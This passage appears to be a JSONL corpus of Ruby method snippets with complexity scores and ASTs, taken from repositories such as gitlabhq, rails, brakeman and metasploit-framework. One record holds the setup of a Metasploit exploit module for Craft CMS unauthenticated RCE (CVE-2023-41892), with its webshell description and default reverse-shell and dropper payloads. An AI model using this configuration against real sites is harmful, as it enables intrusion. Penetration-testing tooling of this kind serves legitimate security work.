end","complexity_score":48.38,"ast_json":"{\"type\":\"def\",\"children\":[\"quarantine_changes?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mr_diff\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mr_diff\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deleted_file\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"files_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"specs_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"quarantine_specs_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mr_diff\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"directory?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Path\"]},\"qa_root\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"SPEC_PATTERN\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"_spec.rb\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"specs_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"diff\"]}]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\+.*,? quarantine:\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quarantine_specs_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"specs_count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quarantine_specs_count\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"specs_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quarantine_specs_count\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"files_count\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"798e58a3-2d01-4acb-8d0c-fbc571675f00"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/asset_tag_helper_test.rb","start_line":1096,"raw_source":"def test_should_compute_proper_url_with_asset_host\n    @controller.config.asset_host = \"assets.example.com\"\n    assert_dom_equal(%(<link href=\"http://www.example.com/collaboration/hieraki\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" />), auto_discovery_link_tag)\n    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url(\"xmlhr\"))\n    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url(\"style\"))\n    assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url(\"xml.png\"))\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_compute_proper_url_with_asset_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"config\"]},\"asset_host=\",{\"type\":\"str\",\"children\":[\"assets.example.com\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<link href=\\\"http://www.example.com/collaboration/hieraki\\\" rel=\\\"alternate\\\" title=\\\"RSS\\\" type=\\\"application/rss+xml\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"auto_discovery_link_tag\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js\"]},{\"type\":\"send\",\"children\":[null,\"javascript_url\",{\"type\":\"str\",\"children\":[\"xmlhr\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css\"]},{\"type\":\"send\",\"children\":[null,\"stylesheet_url\",{\"type\":\"str\",\"children\":[\"style\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"gopher://assets.example.com/collaboration/hieraki/images/xml.png\"]},{\"type\":\"send\",\"children\":[null,\"image_url\",{\"type\":\"str\",\"children\":[\"xml.png\"]}]}]}]}]}","id":"985efd2b-8236-409a-b20b-1da0251e739d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/pipeline.rb","start_line":196,"raw_source":"def add_attribute(sym, klass, options)\n        class_attributes[sym] ||= []\n        class_attributes[sym] << { klass: klass, options: options }\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sym\"]},{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_attributes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"sym\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_attributes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"sym\"]}]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"6b0f6d58-d90e-45e2-888e-3d7c6dc15f7e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/suggested_topic_serializer.rb","start_line":29,"raw_source":"def featured_link\n    object.featured_link\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"featured_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"featured_link\"]}]}","id":"3826debb-b082-4ea6-bafd-78ab8b909b6a"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/configuration/helpers.rb","start_line":107,"raw_source":"def remote_storage_upload_host\n        self[\"remote_storage_upload_host\"].presence ||\n          (remote_storage_aws? && \"#{fog_directory}.s3.amazonaws.com\") ||\n          nil\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_storage_upload_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"str\",\"children\":[\"remote_storage_upload_host\"]}]},\"presence\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remote_storage_aws?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fog_directory\"]}]},{\"type\":\"str\",\"children\":[\".s3.amazonaws.com\"]}]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"2a0f6ab3-f282-479a-ae04-ad721fe8375a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/rapid_diffs/app_component.rb","start_line":51,"raw_source":"def empty_state_visible?\n      !diffs_stream_url && !lazy? && (diffs_slice.nil? || diffs_slice.empty?)\n    end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"empty_state_visible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diffs_stream_url\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lazy?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diffs_slice\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diffs_slice\"]},\"empty?\"]}]}]}]}]}","id":"153c2e10-7e3a-4584-a0ae-b59a410deba1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Craft CMS unauthenticated Remote Code Execution (RCE)',\n        'Description' => %q{\n          This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular\n          content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are  affected by this vulnerability\n          allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity\n          of the application.\n\n          The vulnerability occurs using a PHP object creation in the `\\craft\\controllers\\ConditionsController` class\n          which allows to run arbitrary PHP code by escalating the object creation calling some methods available in\n          `\\GuzzleHttp\\Psr7\\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which\n          stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that\n          facilitates the reading of images, performance of image processing tasks, and writing of results back\n          to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the\n          Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the\n          malicious PHP code and gaining access to the system.\n\n          Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain\n          access to the underlying operating system as the user that the web services are running as (typically www-data).\n        },\n        'Author' => [\n          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module\n          'Thanh', # discovery\n          'chybeta' # poc\n        ],\n        'References' => [\n          [ 'CVE', '2023-41892' ],\n          [ 'URL', 'https://blog.calif.io/p/craftcms-rce' ],\n          [ 'URL', 'https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/' ],\n          [ 'URL', 'https://github.com/advisories/GHSA-4w8r-3xrw-v25g' ],\n          [ 'URL', 'https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892' ],\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => [ 'unix', 'linux', 'php' ],\n        'Privileged' => false,\n        'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ],\n        'Targets' => [\n          [\n            'PHP',\n            {\n              'Platform' => 'php',\n              'Arch' => ARCH_PHP,\n              'Type' => :php,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'php/meterpreter/reverse_tcp'\n              }\n            }\n          ],\n          [\n            'Unix Command',\n            {\n              'Platform' => [ 'unix', 'linux' ],\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'cmd/unix/reverse_bash'\n              }\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ ARCH_X64, ARCH_X86 ],\n              'Type' => :linux_dropper,\n              'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ],\n              'DefaultOptions' => {\n                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2023-09-13',\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 443\n        },\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('TARGETURI', [ true, 'Craft CMS base url', '/' ]),\n        OptString.new('WEBSHELL', [\n          false, 'The name of the webshell with extension .php. Webshell name will be randomly generated if left unset.', ''\n        ]),\n        OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0])\n      ]\n    )\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Craft CMS unauthenticated Remote Code Execution (RCE)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular\\n\"]},{\"type\":\"str\",\"children\":[\"          content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are  affected by this vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\"          allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity\\n\"]},{\"type\":\"str\",\"children\":[\"          of the application.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The vulnerability occurs using a PHP object creation in the `\\\\craft\\\\controllers\\\\ConditionsController` class\\n\"]},{\"type\":\"str\",\"children\":[\"          which allows to run arbitrary PHP code by escalating the object creation calling some methods available in\\n\"]},{\"type\":\"str\",\"children\":[\"          `\\\\GuzzleHttp\\\\Psr7\\\\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which\\n\"]},{\"type\":\"str\",\"children\":[\"          stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that\\n\"]},{\"type\":\"str\",\"children\":[\"          facilitates the reading of images, performance of image processing tasks, and writing of results back\\n\"]},{\"type\":\"str\",\"children\":[\"          to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the\\n\"]},{\"type\":\"str\",\"children\":[\"          Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the\\n\"]},{\"type\":\"str\",\"children\":[\"          malicious PHP code and gaining access to the system.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain\\n\"]},{\"type\":\"str\",\"children\":[\"          access to the underlying operating system as the user that the web services are running as (typically www-data).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die-gr3y <h00die.gr3y[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Thanh\"]},{\"type\":\"str\",\"children\":[\"chybeta\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-41892\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.calif.io/p/craftcms-rce\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/advisories/GHSA-4w8r-3xrw-v25g\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"php/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_bash\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"wget\"]},{\"type\":\"str\",\"children\":[\"curl\"]},{\"type\":\"str\",\"children\":[\"printf\"]},{\"type\":\"str\",\"children\":[\"bourne\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2023-09-13\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Craft CMS base url\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WEBSHELL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the webshell with extension .php. Webshell name will be randomly generated if left unset.\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"COMMAND\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use PHP command function\"]},{\"type\":\"str\",\"children\":[\"passthru\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"passthru\"]},{\"type\":\"str\",\"children\":[\"shell_exec\"]},{\"type\":\"str\",\"children\":[\"system\"]},{\"type\":\"str\",\"children\":[\"exec\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"TARGET\"]},{\"type\":\"str\",\"children\":[\"!=\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}]}]}]}]}]}]}","id":"9f37d307-f53c-40e4-9267-1c0270bd9779"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/report_csv.rb","start_line":35,"raw_source":"def warning_row warning\n    [\n      warning.confidence_name,\n      warning.warning_type,\n      warning.cwe_id.first,\n      warning_file(warning),\n      warning.line,\n      warning.message,\n      warning.code && warning.format_code(false),\n      warning.user_input && warning.format_user_input(false),\n      warning.check_name,\n      warning.warning_code,\n      warning.fingerprint,\n      warning.link,\n    ]\n  end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"warning_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"warning\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"confidence_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"warning_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"cwe_id\"]},\"first\"]},{\"type\":\"send\",\"children\":[null,\"warning_file\",{\"type\":\"lvar\",\"children\":[\"warning\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"message\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"format_code\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"user_input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"format_user_input\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"check_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"warning_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"fingerprint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"link\"]}]}]}","id":"2bac131c-a714-459d-8ba6-d0a3974ae81f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb","start_line":76,"raw_source":"def powershell_shell_usage\n    print_line('Usage: powershell_shell [-s session-id]')\n    print_line\n    print_line('Creates an interactive Powershell prompt.')\n    print_line(@@powershell_shell_opts.usage)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"powershell_shell_usage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: powershell_shell [-s session-id]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Creates an interactive Powershell 